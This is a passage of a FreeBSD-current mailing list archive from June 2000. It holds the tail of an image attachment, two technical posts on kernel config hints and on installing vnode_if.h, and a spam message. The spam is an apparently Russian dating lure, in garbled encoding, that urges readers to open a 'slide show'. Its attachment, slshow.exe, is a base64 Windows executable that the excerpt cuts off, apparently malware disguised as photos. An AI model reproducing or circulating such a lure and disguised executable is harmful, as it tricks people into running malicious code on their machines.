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 9IZ8dBNPSEGtTeN8/QejGM+fo1+gOZu16mf/2f8= --ttfrbgkdeihtthim-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 16:33:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mppsystems.com (mppsystems.com [208.210.148.205]) by hub.freebsd.org (Postfix) with ESMTP id 1B6C437B50F for ; Sat, 24 Jun 2000 16:33:35 -0700 (PDT) (envelope-from mpp@mppsystems.com) Received: (from mpp@localhost) by mppsystems.com (8.9.3/8.9.3) id SAA09283; Sat, 24 Jun 2000 18:32:47 -0500 (CDT) (envelope-from mpp) Date: Sat, 24 Jun 2000 18:32:47 -0500 From: Mike Pritchard To: Peter Wemm Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... Message-ID: <20000624183247.A9232@mppsystems.com> References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000613231829.2F4BF1CD7@overcee.netplex.com.au>; from peter@netplex.com.au on Tue, Jun 13, 2000 at 04:18:29PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 13, 2000 at 04:18:29PM -0700, Peter Wemm wrote: > change *ALL* "device foo0 at isa? port blah etc" to "device foo" - see > GENERIC for examples. All the 'at ? port ?' stuff is handled by > the new /boot/device.hints > See GENERIC - if you use a static limited device (eg: fe, aha, le, etc) > where GENERIC has 'device le 1' *and* you had more than one device > (eg: device le0 at ..., device le1 at ...) then you will need to specify > more units. (eg: "device le 2" in the example above.) > > This is not quite yet complete, but is fully functional. There may still > be some syntax changes to the hints stuff in the future, so pay attention. I just noticed that this change has now made a lot of the section 4 man pages out of date. What is the best way to represent these changes in the man pages? A good example is ata(4). Currently it reads like this: SYNOPSIS device isa device ata0 at isa? port IO_WD1 irq 14 device ata1 at isa? port IO_WD2 irq 15 Should this become: SYNOPSIS device isa device ata hint.ata.0.at="isa" hint.ata.0.port="0x1F0" hint.ata.0.irq="14" hint.ata.1.at="isa" hint.ata.1.port="0x170" Or some much mess? When will the hints file syntax be nailed down, so that someone can go in and fix all the man pages without having to worry about having to go through and do it all again when the syntax changes? Something in the loader man pages should be updated to provide info on the new hints stuff. Having a man page dedicated to describing the hints stuff probably would also be a good idea to make it easy for people to figure out how it works. -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mppsystems.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 16:57:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id DCC2D37B697; Sat, 24 Jun 2000 16:57:12 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id BAA97737; Sun, 25 Jun 2000 01:57:21 +0200 (CEST) (envelope-from assar) To: Warner Losh Cc: Garrett Wollman , current@FreeBSD.ORG, kris@FreeBSD.ORG Subject: Re: vnode_if.h: how should it be done ? References: <5llmzyqsfm.fsf@assaris.sics.se> <5ln1kesdkq.fsf@assaris.sics.se> <200006220345.XAA42447@khavrinen.lcs.mit.edu> <200006240610.AAA01831@harmony.village.org> From: Assar Westerlund Date: 25 Jun 2000 01:57:20 +0200 In-Reply-To: Warner Losh's message of "Sat, 24 Jun 2000 00:10:14 -0600" Message-ID: <5lwvjetyxr.fsf@assaris.sics.se> Lines: 36 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh writes: > In message <5llmzyqsfm.fsf@assaris.sics.se> Assar Westerlund writes: > : The problem is that the source files are hidden in the kernel source > : directory and not installed. Where should vnode_if.{src,pl} get > : installed? It seems much simpler just to install vnode_if.h in > : /usr/include/sys. Patch appended. > > No. > We don't install kenrel internal files. But it's not kernel internal. It's used by modules/KLDs ? Where should these expect to find it? > Use SYSDIR instead. I'm not sure what you mean by this? Should vnode_if.h just reside in /sys/sys and be used from there or what? > : + ${INSTALL} -C -o ${BINOWN} -g ${BINGRP} -m 444 \ > : + ${.OBJDIR}/vnode_if.h \ > : + ${DESTDIR}/usr/include/sys > > I object to this part of the patch. We shouldn't install this file. > It isn't needed by anything outside of the kernel/drivers. Well, depends on your point of view if that's outside kernel/drivers, but it's sure used by modules/KLDs. > For drivers, it should be built automatically as part of the modules > build system ala the *_if.m stuff. Where are these files installed so that they can be used by third-party KLDs? /assar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 17:33: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from dialup.ptt.ru (dialup.ptt.ru [195.34.0.100]) by hub.freebsd.org (Postfix) with SMTP id A663F37B6F4 for ; Sat, 24 Jun 2000 17:32:30 -0700 (PDT) (envelope-from nady@mailru.com) Received: (qmail 3401 invoked from network); 25 Jun 2000 00:30:01 -0000 Received: from dialup-27192.dialup.ptt.ru (HELO computer) (195.34.27.192) by dialup.ptt.ru with SMTP; 25 Jun 2000 00:30:01 -0000 To: Íåçíàêîìåö@FreeBSD.ORG From: nady@mailru.com Subject: çíàêîìñòâî Date: Sun, 25 Jun 2000 04:29:51 +0300 Message-Id: <36702.187400810188800.457@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=ucitqsjsdohdtqlh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ucitqsjsdohdtqlh Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit ß íèêîãäà íå ïûòàëàñü ïîçíàêîìèòüñß â èíòåðíåòå, íî ðåøèëàñü ïîïðîáûâàòü. Æèâó â Ìîñêâå, ó÷óñü. Ìíå 19 ëåò. Íå çíàþ, ÷åãî ìíå íå õâàòàåò, ìîæåò ïðîñòî îáùåíèß , à ìîæåò ëàñêè è âíèìàíèß. ß äàæå íå çíàþ, ÷òî î ñåáå íàïèñàòü, âðîäå íå äóðà, à íå ìîãó. ß äîñòàòî÷íî êðèòè÷íî (òî åñòü ñåáå íå íðàâëþñü) îòíîøóñü ê ñâîåé âíåøíîñòè, íî ïðåäîñòàâëþ òåáå îöåíèòü åå.(åõå- ýòî ñëàéä øîó) --ucitqsjsdohdtqlh Content-Type: application/x-msdownload; name="slshow.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slshow.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAKLKqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAOhwBcYC6Q8LDLnQn0AUKohoIEAQ6CA7HylZwxYRJXUw bx0KVovxMOjVEccGIG9AMKLGXsOKEh8A9kQkCAF0fwb6tkEajDPCBGRco02GEsSa 2x1DoyTBCmjD6XIWvULdyDJBkIjIEFnMsvAtniGhYFCDFscFlCYYTqhSFKOQ2RMe mBdIshScJIgyoCR8MqQkaDKoJFgyrCRIMrAkOFnA/ghkhkTQyIRFuNW8QgXAEcQI yIRUzHnUibwM2ImwEMNVizjsUfoANYlN+IXJiEUD/3Qc6wOKcw4eEYTS+gcywogB v6P40E2qi4MfdeaYw1NWOFe/JAgmntkr7TyF8P81dE6FU+cVSJ2o/NhZOYXbn3Qn w1dqAVYiJlQAg8QQM8mFwH55Cz08MQB0E0E7yHz1yF1EgFkzwF9eWz3DjQcEgDww AHQDQOt893lEdgFT6pZu2e360iOGAsdF/P8DTmHF5lmNBpZQV4sgGDPGtnUbIHr8 DdtQVlMm8QiZBvgyHBOLPCqIJAbQMsfJStOMVFFQdlLIPiywUAzoi5kpGlAVjq5c KjxA/CirHSITJMh0CFBWUJgwoe1EFgwi8K+oR2oIc1ZjA3s1fFIzQKFeySZjVLKI kEgHUGjoB0MOrALsgKy93i4y9lCCQWjYSo+qvEDPMYnJkqZniT4YFTzPWVYxuQGH 6NakDQ4kaIg0MybSTNeD5AyQOVG+MSU+INf0+Ug42JM0MrD0RTYOdAT9HOvGg2X8 OjQ9ICWCPmqkd9eQURk5RRoIdAcdQVFVBV77KdExHuvhIFX0kVDEuM31+R+bwU3t rIBBV2g88WRd1qyb3yrVMA81iZ4jEviTz8pAmRskSyo52CrLGFRTogg4jYVMVnE8 VmjpQwedFVmZRRhJFmPVBlDo8RtYkDlTWItIoVHwQRZoUEBRzujHRRveYsvC1ZEL TIgTlQUeaGkgT4pEDAZUJAw9UxCDPVArzlYuARUI3ogg7PfggWqUSGgTYhBRUoSW nJhFEaQcp5eHM9KNGhM+mhQOGkG/i3BdBJrKP41wlbpcgIixsXS/VIwddB8hb5MB HNeUyxvGdAmI1RpAZC3OafYasvpKhEHCUMak6QzUQsjXOIpMmpgGYRjrvuD8Mq1s 